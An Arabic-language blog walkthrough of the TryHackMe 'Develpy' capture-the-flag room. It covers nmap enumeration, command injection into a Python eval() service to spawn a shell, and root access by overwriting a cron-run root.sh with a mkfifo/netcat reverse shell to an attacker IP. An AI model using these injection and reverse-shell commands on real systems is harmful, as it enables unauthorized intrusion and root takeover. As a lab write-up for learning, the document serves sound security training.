Develpy CTF Walkthrough - TryHackme بالعربي

أهلا بيك في أول write-up هيتم نشرها وطبعا انا حبيت انها تكون بالعربي
الغرفة دي اسمها Develpy من Tryhackme

بالنسبة Room :
boot2root machine for FIT and bsides Guatemala CTF
الصعوبة: متوسطة

المطلوب منك انك read user.txt and root.txt (مش عايزين نعلق دماغنا بيهم انت بس بتتعلم وكيدا كيدا الغرفة هتتحل)




Enumeration

هنستعمل nmap ونبدا نفحص services



nmap -sV -sC -A -Pn 10.10.2.19

PORT      STATE SERVICE           VERSION
22/tcp    open  ssh               OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 78:c4:40:84:f4:42:13:8e:79:f8:6b:e4:6d:bf:d4:46 (RSA)
|   256 25:9d:f3:29:a2:62:4b:24:f2:83:36:cf:a7:75:bb:66 (ECDSA)
|_  256 e7:a0:07:b0:b9:cb:74:e9:d6:16:7d:7a:67:fe:c1:1d (ED25519)
10000/tcp open  snet-sensor-mgmt?
| fingerprint-strings: 
|   GenericLines: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in 
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in 
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "", line 1, in 
|     NameError: name 'GET' is not defined
|   HTTPOptions, RTSPRequest: 
|     Private 0days
|     Please enther number of exploits to send??: Traceback (most recent call last):
|     File "./exploit.py", line 6, in 
|     num_exploits = int(input(' Please enther number of exploits to send??: '))
|     File "", line 1, in 
|     NameError: name 'OPTIONS' is not defined
|   NULL: 
|     Private 0days
|_    Please enther number of exploits to send??:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port10000-TCP:V=7.92%I=7%D=2/7%Time=63E25882%P=x86_64-pc-linux-gnu%r(NU
SF:LL,48,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x20
SF:Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20")%r
SF:(GetRequest,136,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r
SF:\n\r\n\x20Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\
SF:?:\x20Traceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File\
SF:x20\"\./exploit\.py\",\x20line\x206,\x20in\x20\r\n\x20\x20\x20\
SF:x20num_exploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x20
SF:of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"\",\x20line\x201,\x20in\x20\r\nNameError:\x20name\x20'GET'\x20
SF:is\x20not\x20defined\r\n")%r(HTTPOptions,13A,"\r\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20of
SF:\x20exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20cal
SF:l\x20last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20in
SF:\x20\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20P
SF:lease\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\)
SF:\r\n\x20\x20File\x20\"\",\x20line\x201,\x20in\x20\r\nNa
SF:meError:\x20name\x20'OPTIONS'\x20is\x20not\x20defined\r\n")%r(RTSPReque
SF:st,13A,"\r\n\x20\x20\x20\x20\x20\x20\x20\x20Private\x200days\r\n\r\n\x2
SF:0Please\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20Tra
SF:ceback\x20\(most\x20recent\x20call\x20last\):\r\n\x20\x20File\x20\"\./e
SF:xploit\.py\",\x20line\x206,\x20in\x20\r\n\x20\x20\x20\x20num_ex
SF:ploits\x20=\x20int\(input\('\x20Please\x20enther\x20number\x20of\x20exp
SF:loits\x20to\x20send\?\?:\x20'\)\)\r\n\x20\x20File\x20\"\",\x20l
SF:ine\x201,\x20in\x20\r\nNameError:\x20name\x20'OPTIONS'\x20is\x2
SF:0not\x20defined\r\n")%r(GenericLines,13B,"\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20Private\x200days\r\n\r\n\x20Please\x20enther\x20number\x20of\x20
SF:exploits\x20to\x20send\?\?:\x20Traceback\x20\(most\x20recent\x20call\x2
SF:0last\):\r\n\x20\x20File\x20\"\./exploit\.py\",\x20line\x206,\x20in\x20
SF:\r\n\x20\x20\x20\x20num_exploits\x20=\x20int\(input\('\x20Pleas
SF:e\x20enther\x20number\x20of\x20exploits\x20to\x20send\?\?:\x20'\)\)\r\n
SF:\x20\x20File\x20\"\",\x20line\x200\r\n\x20\x20\x20\x20\r\n\x20\
SF:x20\x20\x20\^\r\nSyntaxError:\x20unexpected\x20EOF\x20while\x20parsing\
SF:r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


هنلاقي عندنا port 22,10000 مفتوحين طيب هنروح للمتصفح بتاعنا ونشوف port 10000

هنلاقي ان ده عبارة عن exception من python code فعمتا دي مش صفحة html مثلا

طيب هنعمل ايه بص احنا هنشوف netcat لو تستقبل request ده :

هنلاحظ انها ردت علينا وبيطلب منك تدخل عدد exploit اللي محتاج ترسلها.انا كتبتله 2.
رد عليا وهنلاقية بيبعت ping مرتين يبقا دا حسب احنا ما بنحدد.

هنعمل ايه بعد كيدا بص انت بتبدا test input بمعني تبدا تديله string او int وتشوف رده.بعد شوية محالاوت جيت اجرب  دالة ()eval 
                اللي ما يعرفش ايه هي eval ده مصدر عربي https://wiki.hsoub.com/Python/eval
                وده انجليزي  https://www.programiz.com/python-programming/methods/built-in/eval


هلقيه بيبعت ping مرتين خلاص كيدا بقا نقدر نستعمل eval 


Initial Foothold

هجرب اشوف المسار اللي انا فيه

  
eval('__import__("os").system("pwd")')
هيرد عليا بالمسار.

الكود ده هو أمر Python الذي يستورد import ال os (ودي مكتبة بقدر اتعامل بيها مع النظام ), ثم يستدعي دالة system من module ، وبديلة  الامر "pwd".بالنسبة system method هي function تسمح لك بتشغيل أوامر shell من داخل كود Python الخاص بك.


خلاص بقا هأخد shell علي server

    eval('__import__("os").system("bash")')



python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

بالنسبة flag فهو محتاج المحتوي اللي موجود في ملف user.txt أكتب cat user.txt



Privilege Escalation

خلاص قدرنا نتحكم في server بس احنا بصلاحيات المستخدم king محتاجين نرفع صلاحيتنا ونبقا root
هنبدأ نستكشف الملفات الموجودة عندي ممكن نلاقي أي حاجه تفدنا ,,, في صورة عندنا نبدأ نستخدم الأمر strings name-image.png طبعا مش هلاقي حاجه تفدنا.

نشوف حاجه تانية , في عندي 2 script في home directory للمستخدم king هما (root.sh - run.sh)
اكتب الامر ls -la هتلاقي صلاحيات الملفات
طيب انا جيت اعمل cat ليهم فبقدر اقراهم بس مش هقدر اعمله 
execution.


cat /etc/crontab

هنلاحظ ان الملف root.sh بيتنفذه عن طريق root زي ما عرفنا مع العلم احنا بنقدر نشوف المحتوي الخاص بيه زي ما عرفنا بردوا.
فتيجي نغير محتوي الملف او بالمعني نحذف الملف ونعمل ملف جديد بنفس الاسم.
هنستبدل المحتوي المجود فيه ونعمل ملف يجيب reverse shell وطبعا هيكون علي root.



    

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.60.144 1234 >/tmp/f" > root.sh


وتبدا listener ب nc

    
nc  -lnvp 1234
هتستنا دقيقة هتلقي shell ك root user


بالنسبة flag فهو محتاج المحتوي اللي موجود في ملف root.txt أكتب cat root.txt


THE END

إرسال تعليق

أحدث أقدم

نموذج الاتصال